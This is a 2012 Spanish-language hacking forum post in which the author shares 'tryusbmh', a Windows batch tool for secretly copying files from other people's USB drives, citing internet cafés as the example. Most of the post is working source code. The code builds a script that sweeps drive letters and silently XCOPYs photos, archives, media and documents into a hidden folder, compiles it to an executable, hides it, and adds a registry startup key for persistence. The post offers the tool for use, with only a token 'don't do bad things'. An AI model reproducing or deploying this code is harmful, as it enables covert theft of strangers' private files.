36809 Mensajes en 36772 Temas - por 2012 Usuarios - Último usuario: MaryjoLigh

* Chat Sentinela

Refresh History

Autor Tema: tryusbmh Copiador de archivos oculto en bat  (Leído 291 veces)

jrchico

  • En el manicomio de mi libertad, donde mi legion castiga a los gobiernos que les gusta la SOPA.
  • Administrator
  • Jr. Member
  • *****
  • Mensajes: 72
  • Solo el conocimiento te hace libre.
    • Ver Perfil
tryusbmh Copiador de archivos oculto en bat
« en: Febrero 06, 2012, 12:59:21 am »
tryusbmh,
Este pequeño proyecto lo hice el año pasado es para copiar archivos de las memorias usb sin que el dueño se de cuenta, ejemplo en los cibers.

simplmente ejecutamos ingreso.bat y lo configuramos al gusto. y las configuraciones se guardan en config.bat, todo el codigo y junto al programa esta adjunto abajo al final del post.


Ejemplo de codigo, descargar el adjunto para tener el codigo completo.
Código: [Seleccionar]
mode con cols=80 lines=45
@echo off&color a
set a1=esperando...&set a2=esperando...&set a3=esperando...&set a4=esperando...&set a5=esperando..
:menu
title Tryusbmh by Jrchico ^> Www.Mundohacking.com
cls
call config.bat
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo %ruta%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Nombre archivo final y de trabajo: %nombre%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Archivo temporal de compilacion:   %bates%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±Try usb mh v1 by jrchico±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±^> $ 0. Crear Nuevo tryusbmh                               }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 1. Modicar ruta, nombre y otros                  }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 2. Instalar tryusbmh                         }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 3. Desinstalar tryusbmh                 }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 4. Activar tryusbmh                 }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 5. Desactivar tryusbmh         }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 6. Ver datos tryusbmh     }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 7. Salir            }}}}}}}}}}}}}}}}}}              ¦Www.Mundohacking.com
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p ingreso=Que quieres hacer amigo:^>^>
if "%ingreso%"=="" (goto :menu)
if %ingreso%==0 goto nuevo
if %ingreso%==1 goto modconfi
if %ingreso%==2 goto instalar
if %ingreso%==3 goto Desinstalar
if %ingreso%==4 goto Activar
if %ingreso%==5 goto Desactivar
if %ingreso%==6 goto ver
if %ingreso%==7 goto salir
if %ingreso%==%ingreso% goto menu
:instalar
if not exist %nombre% (msg * Porfavor cree el archivo de instalacion desde la opcion numero 0, para poder continuar, de lo contrario de tener una archivo ya configurado renombrar a %nombre%&goto menu)
if exist "%ruta%\\%nombre%" (
msg * Se encontro una instalacion anterior porfavor desinstale desde la opcion 3, para poder continuar con una nueva instalacion
goto menu
) else (
goto yacre
)
)
:yacre
cls
Title Instalando tryusbmh
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo                      Instalando %nombre% porfavor espere.....
if not exist "%ruta%" (mkdir "%ruta%")
echo.
echo                      %ruta% (24%) ok...
attrib +h "%ruta%"
echo                      %ruta% ocultar(52%) ok...
echo.
copy "%nombre%" "%ruta%"
echo.
echo                      %nombre% Intalacion (76%) ok...
attrib +h "%ruta%\\%nombre%"
echo.
reg add %userkey% /v tryusbmh /t reg_sz /d "%ruta%\\%nombre%" /f
echo                      %nombre% ocultar (91%) ok...
echo.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Instalacion completamente (100%) precione enter para volver al menu.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
pause>nul
goto menu
:Desinstalar
title desinstalando tryusbmh
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Matando proceso (15%) ok...........
taskkill /f /im %nombre%
echo.
echo Eliminando atributos de archivos (55%).............
attrib -h "%ruta%\\%nombre%"
echo.
echo Eliminando archivos de instalacion (81%)............
del "%ruta%\\%nombre%" /f /q
echo.
echo Eliminando llaves de inicio del registro(100%)
reg delete %userkey% /v tryusbmh /f
echo.
echo Se desinstalo completamente "%ruta%\\%nombre%",
echo pero los archivo que se habian copiado no se borraron para ver los archivos seleccionar la opcion 6
echo.
echo Precione enter para volver al menu...
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
goto menu
:nuevo
title creando configuraciones para nuestro tryusbmh...
echo @echo off>%bates%
echo :todo>>%bates%
rem si en un caso tubieras discos duros como la unidad d o e eliminamos las letras
rem ejemplo digamos que tengo la unidad d y e que daria for %%%%a in (f g h i j k l m n o p q r s t u v w x y z) do (
echo for %%%%a in (d e f g h i j k l m n o p q r s t u v w x y z) do (>>%bates%
echo if exist %%%%a: (>>%bates%
rem aqui inician los agregados...............................
cls
goto regreso
:regreso
title Selecciona las opciones de que deseas agregar ala nueva compilacion...
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±           ±±     Seleccione las configuraciones que desee:         ±±      ±±
echo.
echo     ±±       ±±    1. Agregar archivos imagenes %a1%  ±±      ±±    ±±
echo.
echo  Www.    ±±    ±±  2. Agregar archivos comprimidos %a2%        ±±      ±±
echo.                     
echo    Mundo      ±±   3. Agregar archivos de musica %a3%      ±±      ±±  ±±
echo.                                                                             ±±
echo      Hacking   ±±  4. Agregar archivos videos  %a4%    ±±       ±±     ±±
echo.                                                                            ±±
echo ±±       .com   ±± 5. Agregar archivos documentos %a5%  ±±      ±±   ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo     ±±             ±±    6.  Compilar archivo....       ±±             ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p sele=                 Seleccione la opcion valida[1-6]:
if "%sele%"=="" (goto :regreso)
if %sele%==1 goto agregaimg
if %sele%==2 goto agregacompri
if %sele%==3 goto agregamusi
if %sele%==4 goto agregavide
if %sele%==5 goto agregadoc
if %sele%==6 goto compilar
if %sele%==%sele% goto regreso
:agregaimg
echo XCOPY "%%%%a:\\*.jpg" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.gif" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.bmp" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.Jpeg" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.png" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a1=Ok...
goto regreso
:agregacompri
echo XCOPY "%%%%a:\\*.rar" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.zip" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a2=Ok...
goto regreso
:agregamusi
echo XCOPY "%%%%a:\\*.mp3" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.wma" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a3=Ok...
goto regreso
:agregavide
echo XCOPY "%%%%a:\\*.mp4" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.avi" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.wmv" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.fly" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.mpg" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.3gp" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.psp" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.rmvb" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a4=Ok...
goto regreso
:agregadoc
echo XCOPY "%%%%a:\\*.doc" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.docx" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.txt" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.html" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.bat" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.php" %ruta%^>nul  /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.vb" %ruta%^>nul  /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.xml" %ruta%^>nul  /E /I /c /h /r>>%bates%
set a5=Ok...
goto regreso
:compilar
title Compilando tryusbmh...
rem aqui añadimos ala parte final del archivo....
echo ) else (>>%bates%
echo echo unidad %%%%a: no se encontro se omitio copiado...>>%bates%
echo )>>%bates%
echo )>>%bates%
echo goto todo>>%bates%
echo compilando espere......
if exist "%nombre%" (
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Se encontro una archivo %nombre% anteriormente creado
echo.
echo Porfavor seleccione un nuevo nombre para el archivo
echo.
echo Ejemplo de nombre de respaldo "anterior%nombre%"
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p Numbre=Nuevo Nombre, luego precione enter:^> anterior%nombre%
rename "%nombre%" "Numbre"
) else (
goto yes
)
)
:yes
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
quickbfc "%bates%" "%nombre%"
msg * Compilacion terminada con exito, ahora ya puede instalar...................
del /f "%bates%"
goto menu
:modconfi
title Modificacion de varibles de entorno de instalacion y otros en tryusbmh
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo             Binvenido a la modificacion de variables                       ±±±
echo.                                                                          ±±±
echo 1. Cambiar ruta                                                          ±±±
echo.                                                                        ±±±
echo 2. Cambiar nombre archivo final y de instalacion                        ±±±
echo.                                                                         ±±±
echo 3. Cambiar nombre del archivo temporal antes de la compilacion.           ±±±
echo.                                                                           ±±±
echo 4. Guardar las modificaciones realizadas.                                   ±±±
echo.                                                 5.menu                    ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p opciones=Selecciona una accion [1-4]:
if "%opciones%"=="" (goto :modconfi)
if %opciones%==1 goto rutacam
if %opciones%==2 goto nombrecam
if %opciones%==3 goto nombretem
if %opciones%==4 goto salvar
if %opciones%==5 goto menu
if %opciones%==%opciones% goto modconfi
cls
:rutacam
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±                    :$ Su ruta actual de trabajo es:
echo ±± -^> %ruta%,
echo.±±±±
echo   ±±±±       Su nueva ruta deberia tener un formato parecido.
echo.    ±±±±
echo       ±±±±   Si no desea escribirla jale la carpeta hacia esta ventana
echo.      ±±±±
echo      ±±±±    Asegurese que la ruta no contenga signos " al principio o
echo.   ±±±±
echo ±±±±         Al final de lo contrario eliminarlos...
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo 1. Ruta de instalacion y copiado de archivos&set /p rutanew=:
if exist "%rutanew%" (
set ruta=%rutanew%
goto nombrecam
) else (
cls
msg * la ruta %rutanew% es invalida, probablemente no exista o contenga " ...
goto rutacam
)
)
pause
:nombrecam
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±± El nombre del archivo de instalacion y de archivo final es %nombre%
echo.   ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±
echo ±±± El nuevo nombre del archivo debera tener un formato parecido             ±±±
echo.   ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±
echo ±±± Escriba el nuevo nombre con extencion .exe y precione enter              ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo.&set /p arnanombre=:
set nombre=%arnanombre%
goto nombretem
:nombretem
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±± El nombre del archivo temporal es %bates%
echo.   ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±
echo ±±± El nuevo nombre del archivo debera tener un formato parecido             ±±±
echo.   ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±  ±±±
echo ±±± Escriba el nuevo nombre con extencion .bat y precione enter              ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo.&set /p nuevotem=:
echo
set bates=%nuevotem%
:salvar
echo Guardando configuraciones
echo.
echo set userkey=%userkey%>config.bat
echo set ruta=%ruta%>>config.bat
echo set nombre=%nombre%>>config.bat
echo set bates=%bates%>>config.bat
echo if exist "%bates%" (del /f "%bates%")>>config.bat
echo.
msg * Configuraciones de variables guardadas con exito....
goto menu
:Activar
if not exist "%ruta%\\%nombre%" (msg * No existe ninguna instalacion que se pueda iniciar, se recomienda crear una instalacion nueva...&goto menu)
call "%ruta%\\%nombre%"
reg add %userkey% /v tryusbmh /t reg_sz /d "%ruta%\\%nombre%" /f
msg * Se Inicio %nombre%, y ademas se agrego al registro para iniciar con el sistema la proxima vez, hasta que elija la opcion 5 desactivar...
goto menu
:Desactivar
if not exist "%ruta%\\%nombre%" (msg * Ningun programa que desactivar no se encontro instalacion...&goto menu)
taskkill /f /im %nombre%
taskkill /f /im cmd.exe
taskkill /f /im xcopy.exe
reg delete %userkey% /v tryusbmh /f
msg * Programa desactivado temporalmente hasta que active la opcion 4
goto menu
:ver
explorer "%ruta%"
:salir
exit


Espero lo disfruten, y no hagan cosas malas,
exit
Llegamos al rincon donde estaba la SOPA, hemos terminado con ella sin haberla probado,ahora en la oscuridad de su imperio se quedaran atrapados esos debiles humanos sin conocimiento de libertad, se quedaron en el ayer intentando derrotar la luz del conocimiento de mi legion.

 

SimplePortal 2.3.4 © 2008-2011, SimplePortal